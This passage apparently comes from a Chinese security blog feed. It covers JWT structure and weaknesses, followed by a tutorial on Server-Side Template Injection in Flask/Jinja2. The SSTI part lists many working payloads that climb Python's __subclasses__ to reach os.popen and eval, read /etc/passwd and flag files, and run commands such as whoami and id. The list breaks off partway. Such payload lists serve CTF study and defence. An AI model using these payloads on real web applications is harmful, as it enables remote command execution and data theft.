class="line">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQss</span><br></pre></td></tr></table></figure></div><h5 id="头部"><a class="markdownIt-Anchor" href="#头部">#</a> 头部</h5><p>由类型 <code>JWT</code>  和加密形式构成</p><p>json</p><div class="highlight-container" data-rel="Json"><figure class="iseeu highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;alg&quot;</span><span class="punctuation">:</span> <span class="string">&quot;HS256&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;typ&quot;</span><span class="punctuation">:</span> <span class="string">&quot;JWT&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></div><p>然后头部会被 Base64URL 加密</p><h5 id="载荷"><a class="markdownIt-Anchor" href="#载荷">#</a> 载荷</h5><p>因为可以被直接解密，所以存放一些不敏感信息</p><p>json</p><div class="highlight-container" data-rel="Json"><figure class="iseeu highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;iss&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Jehoshaphat Tse&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;iat&quot;</span><span class="punctuation">:</span> <span class="number">1441593502</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;exp&quot;</span><span class="punctuation">:</span> <span class="number">1441594722</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;aud&quot;</span><span class="punctuation">:</span> <span class="string">&quot;www.example.com&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;sub&quot;</span><span class="punctuation">:</span> <span class="string">&quot;mrsingsing@example.com&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;John Doe&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;admin&quot;</span><span class="punctuation">:</span> <span class="literal"><span class="keyword">true</span></span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure></div><p>这里面的前五个字段都是由 JWT 的标准所定义的，所谓 <code>Registered claims</code></p><ul><li><code>iss</code> ：该 JWT 的签发者</li><li><code>sub</code> ：该 JWT 所面向的用户</li><li><code>aud</code> ：接收该 JWT 的一方</li><li><code>exp</code> （expires）：什么时候过期，这是 Unix 时间戳</li><li><code>iat</code> （issued at）：在什么时候签发的。</li></ul><p>然后载荷会被 Base64URL 加密</p><h5 id="签名"><a class="markdownIt-Anchor" href="#签名">#</a> 签名</h5><p>把头部和载荷加密拼接后用之前确定的加密方式和 secret 进行签名，拼接在最后</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">HMACSHA256(</span><br><span class="line">  base64UrlEncode(header) + &quot;.&quot; +</span><br><span class="line">  base64UrlEncode(payload),</span><br><span class="line">  secret)</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407171745375.png" alt="image-20240717174546213"></p><p><a class="link" href="https://jwt.io/">JSON Web Tokens - jwt.io <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>JWT 的原理是，服务器认证以后，生成一个 JSON 对象，发回给用户，就像下面这样。</p><blockquote><div class="highlight-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;姓名&quot;</span>: <span class="string">&quot;张三&quot;</span>,</span><br><span class="line">  <span class="string">&quot;角色&quot;</span>: <span class="string">&quot;管理员&quot;</span>,</span><br><span class="line">  <span class="string">&quot;到期时间&quot;</span>: <span class="string">&quot;2018年7月1日0点0分&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div></blockquote><p>以后，用户与服务端通信的时候，都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据，服务器在生成这个对象的时候，会加上签名（详见后文）。</p><p>服务器就不保存任何 session 数据了，也就是说，服务器变成无状态了，从而比较容易实现扩展。</p><p>客户端收到服务器返回的 JWT，可以储存在 Cookie 里面，也可以储存在 localStorage。</p><p>此后，客户端每次与服务器通信，都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送，但是这样不能跨域，所以更好的做法是放在 HTTP 请求的头信息 <code>Authorization</code>  字段里面。</p><blockquote><div class="highlight-container" data-rel="Javascript"><figure class="iseeu highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Authorization</span>: <span class="title class_">Bearer</span> &lt;token&gt;</span><br></pre></td></tr></table></figure></div></blockquote><p>另一种做法是，跨域的时候，JWT 就放在 POST 请求的数据体里面。</p><h4 id="几个特点"><a class="markdownIt-Anchor" href="#几个特点">#</a> 几个特点</h4><p>（1）JWT 默认是不加密，但也是可以加密的。生成原始 Token 以后，可以用密钥再加密一次。</p><p>（2）JWT 不加密的情况下，不能将秘密数据写入 JWT。</p><p>（3）JWT 不仅可以用于认证，也可以用于交换信息。有效使用 JWT，可以降低服务器查询数据库的次数。</p><p>（4）JWT 的<strong>最大缺点</strong>是，由于服务器不保存 session 状态，因此 ** 无法在使用过程中废止某个 token，或者更改 token 的权限。** 也就是说，<strong>一旦 JWT 签发了，在到期之前就会始终有效，除非服务器部署额外的逻辑。</strong></p><p>（5）JWT 本身包含了认证信息，** 一旦泄露，任何人都可以获得该令牌的所有权限。** 为了减少盗用，JWT 的有效期应该设置得比较短。对于一些比较重要的权限，使用时应该再次对用户进行认证。</p><p>（6）为了减少盗用，JWT 不应该使用 HTTP 协议明码传输，要使用 HTTPS 协议传输。</p><h2 id="鉴权绕过"><a class="markdownIt-Anchor" href="#鉴权绕过">#</a> 鉴权绕过</h2><h3 id="经典的shiro"><a class="markdownIt-Anchor" href="#经典的shiro">#</a> 经典的 Shiro</h3><p><a class="link" href="https://blog.csdn.net/include_voidmain/article/details/124381996">Shiro 鉴权绕过 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;鉴权authentication&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#鉴权authentication&quot;&gt;#&lt;/a&gt; 鉴权（Authentication）&lt;/h2&gt;
&lt;p&gt;鉴权是指验证用户是否拥有访问系统的权利。传统的鉴权是通</summary>
      
    
    
    
    <category term="Web Base" scheme="http://example.com/categories/Web-Base/"/>
    
    
  </entry>
  
  <entry>
    <title>SSTI</title>
    <link href="http://example.com/2024/07/09/SSTI/"/>
    <id>http://example.com/2024/07/09/SSTI/</id>
    <published>2024-07-09T11:47:31.000Z</published>
    <updated>2024-08-28T06:50:22.889Z</updated>
    
    <content type="html"><![CDATA[<h2 id="server-side-template-injection"><a class="markdownIt-Anchor" href="#server-side-template-injection">#</a> Server-Side Template Injection</h2><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202407092029028.png" alt="image-20240709202855918"></p><p><strong>什么是 SSTI</strong>：</p><p>SSTI（Server-Side Template Injection）是一种<strong>服务器端模板注入漏洞</strong>，它出现在使用<strong>模板引擎</strong>的 Web 应用程序中。比如 python 中的 flask、php 的 thinkphp、java 的 spring 等框架一般都采用 MVC 的模式，用户的输入先进入 Controller 控制器，然后根据请求类型和请求的指令发送给对应 Model 业务模型进行业务逻辑判断，数据库存取，最后把结果返回给 View 视图层，经过模板渲染展示给用户。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而，如果在构建模板时未正确处理用户输入，就可能导致 SSTI 漏洞的产生。</p><p>sql 注入的成因是：当后端脚本语言进行数据库查询时，可以构造输入语句来进行拼接，从而实现恶意 sql 查询。</p><p>SSTI 与其相似，服务端将输入作为 web 应用模板内容的一部分，在进行目标编译渲染的过程中，<strong>拼接了恶意语句</strong>，因此造成敏感信息泄露、远程命令执行等问题。</p><h3 id="类的利用"><a class="markdownIt-Anchor" href="#类的利用">#</a> 类的利用</h3><p>有些模板引擎提供了一些内置类和方法，可以在模板中使用。</p><p>假设我们使用的是 Jinja2 模板引擎，并且有一个自定义的 User 类，包含 name 和 age 属性。我们可以在模板中创建一个 User 对象，并访问其属性。</p><div class="highlight-container" data-rel="Py"><figure class="iseeu highlight py"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> jinja2 <span class="keyword">import</span> Template</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">User</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, name, age</span>):</span><br><span class="line">        self.name = name</span><br><span class="line">        self.age = age</span><br><span class="line"></span><br><span class="line">template_string = <span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">Name: &#123;&#123; user.name &#125;&#125;</span></span><br><span class="line"><span class="string">Age: &#123;&#123; user.age &#125;&#125;</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">template = Template(template_string)</span><br><span class="line">user = User(<span class="string">&#x27;Alice&#x27;</span>, <span class="number">25</span>)</span><br><span class="line">rendered_output = template.render(user=user)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(rendered_output)</span><br></pre></td></tr></table></figure></div><p>在上面的例子中，我们在模板中创建了一个 user 对象，并通过 <code>&#123;&#123; user.name &#125;&#125;</code>  和 <code>&#123;&#123; user.age &#125;&#125;</code>  的方式在模板中访问了该对象的属性。</p><p>最终输出的结果是：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Name: Alice</span><br><span class="line">Age: 25</span><br></pre></td></tr></table></figure></div><h3 id="常用类"><a class="markdownIt-Anchor" href="#常用类">#</a> 常用类</h3><p>关于 python 魔术方法：</p><p><a class="link" href="https://fc04db.github.io/2024/05/06/PyJail/#python%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95">PyJail - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> 有提到</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">__class__：表示实例对象所属的类。</span><br><span class="line"></span><br><span class="line">__base__：类型对象的直接基类。</span><br><span class="line"></span><br><span class="line">__bases__：类型对象的全部基类（以元组形式返回），通常实例对象没有此属性。</span><br><span class="line"></span><br><span class="line">__mro__：一个由类组成的元组，在方法解析期间用于查找基类。</span><br><span class="line"></span><br><span class="line">__subclasses__()：返回该类的所有子类的列表。每个类都保留对其直接子类的弱引用。此方法返回仍然存在的所有这些引用的列表，并按定义顺序排序。</span><br><span class="line"></span><br><span class="line">__init__：初始化类的构造函数，返回类型为function的方法。</span><br><span class="line"></span><br><span class="line">__globals__：通过函数名.__globals__获取函数所在命名空间中可用的模块、方法和所有变量。</span><br><span class="line"></span><br><span class="line">__dict__：包含类的静态函数、类函数、普通函数、全局变量以及一些内置属性的字典。</span><br><span class="line"></span><br><span class="line">__getattribute__()：存在于实例、类和函数中的__getattribute__魔术方法。实际上，当针对实例化的对象进行点操作（例如：a.xxx / a.xxx()）时，都会自动调用__getattribute__方法。因此，我们可以通过这个方法直接访问实例、类和函数的属性。</span><br><span class="line"></span><br><span class="line">__getitem__()：调用字典中的键值，实际上是调用此魔术方法。例如，a[&#x27;b&#x27;] 就是 a.__getitem__(&#x27;b&#x27;)。</span><br><span class="line"></span><br><span class="line">__builtins__：内建名称空间，包含一些常用的内建函数。__builtins__与__builtin__的区别可以通过搜索引擎进一步了解。</span><br><span class="line"></span><br><span class="line">__import__：动态加载类和函数，也可用于导入模块。常用于导入os模块，例如__import__(&#x27;os&#x27;).popen(&#x27;ls&#x27;).read()。</span><br><span class="line"></span><br><span class="line">__str__()：返回描述该对象的字符串，通常用于打印输出。</span><br><span class="line"></span><br><span class="line">url_for：Flask框架中的一个方法，可用于获取__builtins__，且url_for.__globals__[&#x27;__builtins__&#x27;]包含current_app。</span><br><span class="line"></span><br><span class="line">get_flashed_messages：Flask框架中的一个方法，可用于获取__builtins__，且get_flashed_messages.__globals__[&#x27;__builtins__&#x27;]包含current_app。</span><br><span class="line"></span><br><span class="line">lipsum：Flask框架中的一个方法，可用于获取__builtins__，且lipsum.__globals__包含os模块（例如：&#123;&#123;lipsum.__globals__[&#x27;os&#x27;].popen(&#x27;ls&#x27;).read()&#125;&#125;）。</span><br><span class="line"></span><br><span class="line">current_app：应用上下文的全局变量。</span><br><span class="line"></span><br><span class="line">request：用于获取绕过字符串的参数，包括以下内容：</span><br><span class="line"></span><br><span class="line">- request.args.x1：GET请求中的参数。</span><br><span class="line">- request.values.x1：所有参数。</span><br><span class="line">- request.cookies：cookies参数。</span><br><span class="line">- request.headers：请求头参数。</span><br><span class="line">- request.form.x1：POST请求中的表单参数（Content-Type为application/x-www-form-urlencoded或multipart/form-data）。</span><br><span class="line">- request.data：POST请求中的数据（Content-Type为a/b）。</span><br><span class="line">- request.json：POST请求中的JSON数据（Content-Type为application/json）。</span><br><span class="line"></span><br><span class="line">config：当前应用的所有配置。还可以使用&#123;&#123; config.__class__.__init__.__globals__[&#x27;os&#x27;].popen(&#x27;ls&#x27;).read() &#125;&#125;来执行操作系统命令。</span><br><span class="line"></span><br><span class="line">g：通过&#123;&#123; g &#125;&#125;可以获取&lt;flask.g of &#x27;flask_ssti&#x27;&gt;。</span><br></pre></td></tr></table></figure></div><h3 id="过滤器"><a class="markdownIt-Anchor" href="#过滤器">#</a> 过滤器</h3><p>在 SSTI（Server-Side Template Injection）中，过滤器可以用于对变量进行处理和转换。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">float()：将值转换为浮点数类型；</span><br><span class="line"></span><br><span class="line">lower()：将字符串转换为小写形式；</span><br><span class="line"></span><br><span class="line">upper()：将字符串转换为大写形式；</span><br><span class="line"></span><br><span class="line">title()：将字符串中每个单词的首字母转换为大写；</span><br><span class="line"></span><br><span class="line">capitalize()：将字符串的第一个字母转换为大写，其他字母转换为小写；</span><br><span class="line"></span><br><span class="line">strip()：删除字符串开头和结尾的空白字符；</span><br><span class="line"></span><br><span class="line">wordcount()：计算字符串中的单词数量；</span><br><span class="line"></span><br><span class="line">reverse()：反转字符串；</span><br><span class="line"></span><br><span class="line">replace()：替换字符串中的指定子串；</span><br><span class="line"></span><br><span class="line">truncate()：截取字符串的指定长度；</span><br><span class="line"></span><br><span class="line">striptags()：删除字符串中的所有HTML标签；</span><br><span class="line"></span><br><span class="line">escape()或e：转义字符串中的特殊字符；</span><br><span class="line"></span><br><span class="line">safe()：禁用HTML转义；</span><br><span class="line"></span><br><span class="line">list()：将字符串转换为列表；</span><br><span class="line"></span><br><span class="line">string()：将其他类型的值转换为字符串；</span><br><span class="line"></span><br><span class="line">join()：将序列中的元素拼接成字符串；</span><br><span class="line"></span><br><span class="line">abs()：返回数值的绝对值；</span><br><span class="line"></span><br><span class="line">first()：返回序列的第一个元素；</span><br><span class="line"></span><br><span class="line">last()：返回序列的最后一个元素；</span><br><span class="line"></span><br><span class="line">format()：格式化字符串；</span><br><span class="line"></span><br><span class="line">length()：返回字符串的长度；</span><br><span class="line"></span><br><span class="line">sum()：返回列表中所有数值的和；</span><br><span class="line"></span><br><span class="line">sort()：排序列表中的元素；</span><br><span class="line"></span><br><span class="line">default()：在变量没有值的情况下使用默认值。</span><br><span class="line"></span><br><span class="line">strip()：删除字符串开头和结尾的指定字符，默认删除空白字符。</span><br><span class="line"></span><br><span class="line">startswith(prefix)：判断字符串是否以指定前缀开头。</span><br><span class="line"></span><br><span class="line">endswith(suffix)：判断字符串是否以指定后缀结尾。</span><br><span class="line"></span><br><span class="line">isalpha()：判断字符串是否只包含字母字符。</span><br><span class="line"></span><br><span class="line">isdigit()：判断字符串是否只包含数字字符。</span><br><span class="line"></span><br><span class="line">isalnum()：判断字符串是否只包含字母和数字字符。</span><br><span class="line"></span><br><span class="line">isspace()：判断字符串是否只包含空白字符。</span><br><span class="line"></span><br><span class="line">split(separator)：将字符串按指定分隔符分割成列表。</span><br><span class="line"></span><br><span class="line">join(iterable)：使用指定字符连接序列中的元素。</span><br><span class="line"></span><br><span class="line">count(substring)：统计字符串中子串出现的次数。</span><br><span class="line"></span><br><span class="line">find(substring)：查找子串第一次出现的位置，若不存在则返回-1。</span><br><span class="line"></span><br><span class="line">replace(old, new)：替换字符串中的指定子串。</span><br><span class="line"></span><br><span class="line">islower()：判断字符串是否全为小写字母。</span><br><span class="line"></span><br><span class="line">isupper()：判断字符串是否全为大写字母。</span><br><span class="line"></span><br><span class="line">isdigit()：判断字符串是否只包含数字。</span><br><span class="line"></span><br><span class="line">isnumeric()：判断字符串是否只包含数字字符。</span><br><span class="line"></span><br><span class="line">isdecimal()：判断字符串是否只包含十进制数字字符。</span><br><span class="line"></span><br><span class="line">isidentifier()：判断字符串是否是合法的标识符。</span><br><span class="line"></span><br><span class="line">isprintable()：判断字符串是否只包含可打印字符。</span><br><span class="line"></span><br><span class="line">encode(encoding)：使用指定的编码对字符串进行编码。</span><br><span class="line"></span><br><span class="line">decode(encoding)：使用指定的编码对字符串进行解码。</span><br></pre></td></tr></table></figure></div><h3 id="常用payload"><a class="markdownIt-Anchor" href="#常用payload">#</a> 常用 payload</h3><h4 id="无过滤情况"><a class="markdownIt-Anchor" href="#无过滤情况">#</a> 无过滤情况</h4><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line">#读取文件类，&lt;type ‘file’&gt; file位置一般为40，直接调用</span><br><span class="line">&#123;&#123;[].__class__.__base__.__subclasses__()[40](&#x27;flag&#x27;).read()&#125;&#125; </span><br><span class="line">&#123;&#123;[].__class__.__bases__[0].__subclasses__()[40](&#x27;etc/passwd&#x27;).read()&#125;&#125;</span><br><span class="line">&#123;&#123;[].__class__.__bases__[0].__subclasses__()[40](&#x27;etc/passwd&#x27;).readlines()&#125;&#125;</span><br><span class="line">&#123;&#123;[].__class__.__base__.__subclasses__()[257](&#x27;flag&#x27;).read()&#125;&#125; (python3)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#直接使用popen命令，python2是非法的，只限于python3</span><br><span class="line">os._wrap_close 类里有popen</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__[&#x27;popen&#x27;](&#x27;whoami&#x27;).read()&#125;&#125;</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen(&#x27;whoami&#x27;).read()&#125;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#调用os的popen执行命令</span><br><span class="line">#python2、python3通用</span><br><span class="line">&#123;&#123;[].__class__.__base__.__subclasses__()[71].__init__.__globals__[&#x27;os&#x27;].popen(&#x27;ls&#x27;).read()&#125;&#125;</span><br><span class="line">&#123;&#123;[].__class__.__base__.__subclasses__()[71].__init__.__globals__[&#x27;os&#x27;].popen(&#x27;ls /flag&#x27;).read()&#125;&#125;</span><br><span class="line">&#123;&#123;[].__class__.__base__.__subclasses__()[71].__init__.__globals__[&#x27;os&#x27;].popen(&#x27;cat /flag&#x27;).read()&#125;&#125;</span><br><span class="line">&#123;&#123;&#x27;&#x27;.__class__.__base__.__subclasses__()[185].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;__import__&#x27;](&#x27;os&#x27;).popen(&#x27;cat /flag&#x27;).read()&#125;&#125;</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.__import__(&#x27;os&#x27;).popen(&#x27;id&#x27;).read()&#125;&#125;</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;__import__&#x27;](&#x27;os&#x27;).popen(&#x27;id&#x27;).read()&#125;&#125;</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__[&#x27;os&#x27;].popen(&#x27;whoami&#x27;).read()&#125;&#125;</span><br><span class="line">#python3专属</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__(&#x27;os&#x27;).popen(&#x27;whoami&#x27;).read()&#125;&#125;</span><br><span class="line">&#123;&#123;&#x27;&#x27;.__class__.__base__.__subclasses__()[128].__init__.__globals__[&#x27;os&#x27;].popen(&#x27;ls /&#x27;).read()&#125;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#调用eval函数读取</span><br><span class="line">#python2</span><br><span class="line">&#123;&#123;[].__class__.__base__.__subclasses__()[59].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;eval&#x27;](&quot;__import__(&#x27;os&#x27;).popen(&#x27;ls&#x27;).read()&quot;)&#125;&#125; </span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;eval&#x27;](&#x27;__import__(&quot;os&quot;).system(&quot;ls&quot;)&#x27;)&#125;&#125;</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;eval&#x27;](&#x27;__import__(&quot;os&quot;).system(&quot;ls&quot;)&#x27;)&#125;&#125;</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__mro__[-1].__subclasses__()[29].__call__(eval,&#x27;os.system(&quot;ls&quot;)&#x27;)&#125;&#125;</span><br><span class="line">#python3</span><br><span class="line">&#123;&#123;().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[&#x27;eval&#x27;](&quot;__import__(&#x27;os&#x27;).popen(&#x27;id&#x27;).read()&quot;)&#125;&#125; </span><br><span class="line">&#123;&#123;&#x27;&#x27;.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.values()[13][&#x27;eval&#x27;]&#125;&#125;</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;eval&#x27;]&#125;&#125;</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;eval&#x27;](&quot;__import__(&#x27;os&#x27;).popen(&#x27;id&#x27;).read()&quot;)&#125;&#125;</span><br><span class="line">&#123;&#123;&quot;&quot;.__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.__builtins__.eval(&quot;__import__(&#x27;os&#x27;).popen(&#x27;id&#x27;).read()&quot;)&#125;&#125;</span><br><span class="line">&#123;&#123;&#x27;&#x27;.__class__.__base__.__subclasses__()[128].__init__.__globals__[&#x27;__builtins__&#x27;][&#x27;eval&#x27;](&#x27;__import__(&quot;os&quot;).popen(&quot;ls /&quot;).read()&#x27;)&#125;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#调用 importlib类</span><br><span class="line">&#123;&#123;&#x27;&#x27;.__class__.__base__.__subclasses__()[128][&quot;load_module&quot;](&quot;os&quot;)[&quot;popen&quot;](&quot;ls /&quot;).read()&#125;&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">#调用linecache函数</span><br><span class="line">&#123;&#123;&#x27;&#x27;.__class__.__base__.__subclasses__()[128].__init__.__globals__[&#x27;linecache&#x27;][&#x27;os&#x27;].popen(&#x27;ls /&#x27;).read()&#125;&#125;</span><br><span 